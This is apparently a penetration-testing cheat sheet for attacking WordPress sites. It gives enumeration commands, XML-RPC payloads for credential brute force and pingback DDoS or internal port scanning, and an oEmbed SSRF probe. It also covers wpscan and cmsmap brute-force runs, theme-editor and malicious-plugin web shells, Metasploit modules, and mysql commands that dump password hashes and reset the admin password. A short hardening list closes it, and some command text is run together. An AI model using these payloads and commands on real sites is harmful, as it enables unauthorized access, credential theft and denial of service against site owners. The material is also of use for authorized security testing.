Wordpress

Basic Information

Uploaded files go to: http://10.10.10.10/wp-content/uploads/2018/08/a.txt Themes files can be found in /wp-content/themes/, so if you change some php of the theme to get RCE you probably will use that path. For example: **Using theme twentytwelve you can access the 404.php file in: [/wp-content/themes/twentytwelve/404.php](http://10.11.1.234/wp-content/themes/twentytwelve/404.php) Another useful url could be: [/wp-content/themes/default/404.php*](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)\***

In wp-config.php you can find the root password of the database.

Default login paths to check: /wp-login.php, /wp-login/, /wp-admin/, /wp-admin.php, /login/

Main WordPress Files

  • index.php

  • license.txt contains useful information such as the version WordPress installed.

  • wp-activate.php is used for the email activation process when setting up a new WordPress site.

  • Login folders (may be renamed to hide it):

    • /wp-admin/login.php

    • /wp-admin/wp-login.php

    • /login.php

    • /wp-login.php

  • xmlrpc.php is a file that represents a feature of WordPress that enables data to be transmitted with HTTP acting as the transport mechanism and XML as the encoding mechanism. This type of communication has been replaced by the WordPress REST API.

  • The wp-content folder is the main directory where plugins and themes are stored.

  • wp-content/uploads/ Is the directory where any files uploaded to the platform are stored.

  • wp-includes/ This is the directory where core files are stored, such as certificates, fonts, JavaScript files, and widgets.

Post exploitation

  • The wp-config.php file contains information required by WordPress to connect to the database such as the database name, database host, username and password, authentication keys and salts, and the database table prefix. This configuration file can also be used to activate DEBUG mode, which can useful in troubleshooting.

Users Permissions

  • Administrator

  • Editor: Publish and manages his and others posts

  • Author: Publish and manage his own posts

  • Contributor: Write and manage his posts but cannot publish them

  • Subscriber: Browser posts and edit their profile

Passive Enumeration

Get WordPress version

Check if you can find the files /license.txt or /readme.html

Inside the source code of the page (example from https://wordpress.org/support/article/pages/):

  • meta name

  • CSS link files

  • JavaScript files

Get Plugins

curl -s -X GET https://wordpress.org/support/article/pages/ | grep -E 'wp-content/plugins/' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2

Get Themes

curl -s -X GET https://wordpress.org/support/article/pages/ | grep -E 'wp-content/themes' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2

Extract versions in general

curl -s -X GET https://wordpress.org/support/article/pages/ | grep http | grep -E '?ver=' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2

Active enumeration

Plugins and Themes

You probably won't be able to find all the Plugins and Themes passible. In order to discover all of them, you will need to actively Brute Force a list of Plugins and Themes (hopefully for us there are automated tools that contains this lists).

Users

ID Brute

You get valid users from a WordPress site by Brute Forcing users IDs:

curl -s -I -X GET http://blog.example.com/?author=1

If the responses are 200 or 30X, that means that the id is valid. If the the response is 400, then the id is invalid.

wp-json

You can also try to get information about the users by querying:

curl http://blog.example.com/wp-json/wp/v2/users

Only information about the users that has this feature enable will be provided.

Also note that /wp-json/wp/v2/pages could leak IP addresses.

XML-RPC

If xml-rpc.php is active you can perform a credentials brute-force or use it to launch DoS attacks to other resources. (You can automate this process using this for example).

To see if it is active try to access to /xmlrpc.php and send this request:

Check

<methodCall>
<methodName>system.listMethods</methodName>
<params></params>
</methodCall>

Credentials Bruteforce

wp.getUserBlogs, wp.getCategories or metaWeblog.getUsersBlogs are some of the methods that can be used to brute-force credentials. If you can find any of them you can send something like:

<methodCall>
<methodName>wp.getUsersBlogs</methodName>
<params>
<param><value>admin</value></param>
<param><value>pass</value></param>
</params>
</methodCall>

The message "Incorrect username or password" inside a 200 code response should appear if the credentials aren't valid.

Also there is a faster way to brute-force credentials using system.multicall as you can try several credentials on the same request:

DDoS or port scanning

If you can find the method pingback.ping inside the list you can make the Wordpress send an arbitrary request to any host/port. This can be used to ask thousands of Wordpress sites to access one location (so a DDoS is caused in that location) or you can use it to make Wordpress lo scan some internal network (you can indicate any port).

<methodCall>
<methodName>pingback.ping</methodName>
<params><param>
<value><string>http://<YOUR SERVER >:<port></string></value>
</param><param><value><string>http://<SOME VALID BLOG FROM THE SITE ></string>
</value></param></params>
</methodCall>

If you get faultCode with **a value greater then 0** (17), it means the port is open.

Take a look to the use of system.multicallin the previous section to learn how to abuse this method to cause DDoS.

wp-cron.php DoS

This file usually exists under the root of the Wordpress site: /wp-cron.php When this file is accessed a "heavy" MySQL query is performed, so I could be used by attackers to cause a DoS. Also, by default, the wp-cron.php is called on every page load (anytime a client requests any Wordpress page), which on high-traffic sites can cause problems (DoS).

It is recommended to disable Wp-Cron and create a real cronjob inside the host that perform the needed actions in a regular interval (without causing issues).

Bruteforce

<methodCall>
<methodName>wp.getUsersBlogs</methodName>
<params>
<param><value>username</value></param>
<param><value>password</value></param>
</params>
</methodCall>

Using the correct credentials you can upload a file. In the response the path will appears (https://gist.github.com/georgestephanis/5681982)

<?xml version='1.0' encoding='utf-8'?>
<methodCall>
    <methodName>wp.uploadFile</methodName>
    <params>
        <param><value><string>1</string></value></param>
        <param><value><string>username</string></value></param>
        <param><value><string>password</string></value></param>
        <param>
            <value>
                <struct>
                    <member>
                        <name>name</name>
                        <value><string>filename.jpg</string></value>
                    </member>
                    <member>
                        <name>type</name>
                        <value><string>mime/type</string></value>
                    </member>
                    <member>
                        <name>bits</name>
                        <value><base64><![CDATA[---base64-encoded-data---]]></base64></value>
                    </member>
                </struct>
            </value>
        </param>
    </params>
</methodCall>

DDOS

<methodCall>
    <methodName>pingback.ping</methodName>
    <params>
        <param><value><string>http://target/</string></value></param>
        <param><value><string>http://yoursite.com/and_some_valid_blog_post_url</string></value></param>
    </params>
</methodCall>

/wp-json/oembed/1.0/proxy - SSRF

Try to access https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net and the Worpress site may make a request to you.

This is the response when it doesn't work:

SSRF

This tool checks if the methodName: pingback.ping and for the path /wp-json/oembed/1.0/proxy and if exists, it tries to exploit them.

Automatic Tools

cmsmap -s http://www.domain.com -t 2 -a "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0"
wpscan --rua -e ap,at,tt,cb,dbe,u,m --url http://www.domain.com --api-token <API_TOKEN> --passwords /usr/share/wordlists/external/SecLists/Passwords/probable-v2-top1575.txt #Brute force found users and search for vulnerabilities using a free API token (up 50 searchs)
#You can try to bruteforce the admin user using wpscan with "-U admin"

Panel RCE

Modifying a php from the theme used (admin credentials needed)

Appearance → Editor → 404 Template (at the right)

Change the content for a php shell:

Search in internet how can you access that updated page. In thi case you have to access here: http://10.11.1.234/wp-content/themes/twentytwelve/404.php

MSF

You can use:

use exploit/unix/webapp/wp_admin_shell_upload

to get a session.

Plugin RCE

PHP plugin

It may be possible to upload .php files as a plugin. Create your php backdoor using for example:

Then add a new plugin:

Upload plugin and press Install Now:

Click on Procced:

Probably this won't do anything apparently, but if you go to Media, you will see your shell uploaded:

Access it and you will see the URL to execute the reverse shell:

Uploading and activating malicious plugin

Some time logon users do not own writable authorization to make modifications to the WordPress theme, so we choose “Inject WP pulgin malicious” as an alternative strategy to acquiring a web shell.

So, once you have access to a WordPress dashboard, you can attempt installing a malicious plugin. Here I’ve already downloaded the vulnerable plugin from exploit db.

Click here **to download the plugin for practice.

Since we have zip file for plugin and now it’s time to upload the plugin.

Dashboard > plugins > upload plugin

Browse the downloaded zip file as shown.

Once the package gets installed successfully, we need to activate the plugin.

When everything is well setup then go for exploiting. Since we have installed vulnerable plugin named “reflex-gallery” and it is easily exploitable.

You will get exploit for this vulnerability inside Metasploit framework and thus load the below module and execute the following command:

1234

use exploit/unix/webapp/wp_slideshowgallery_uploadset rhosts 192.168.1.101set targeturi /wordpressexploit

As the above commands are executed, you will have your meterpreter session. Just as portrayed in this article, there are multiple methods to exploit a WordPress platformed website.

Post Exploitation

Extract usernames and passwords:

mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;select concat_ws(':', user_login, user_pass) from wp_users;"

Change admin password:

mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;UPDATE wp_users SET user_pass=MD5('hacked') WHERE ID = 1;"

WordPress Protection

Regular Updates

Make sure WordPress, plugins, and themes are up to date. Also confirm that automated updating is enabled in wp-config.php:

define( 'WP_AUTO_UPDATE_CORE', true );
add_filter( 'auto_update_plugin', '__return_true' );
add_filter( 'auto_update_theme', '__return_true' );

Also, only install trustable WordPress plugins and themes.

Security Plugins

Other Recommendations

  • Remove default admin user

  • Use strong passwords and 2FA

  • Periodically review users permissions

  • Limit login attempts to prevent Brute Force attacks

  • Rename wp-admin.php file and only allow access internally or from certain IP addresses.

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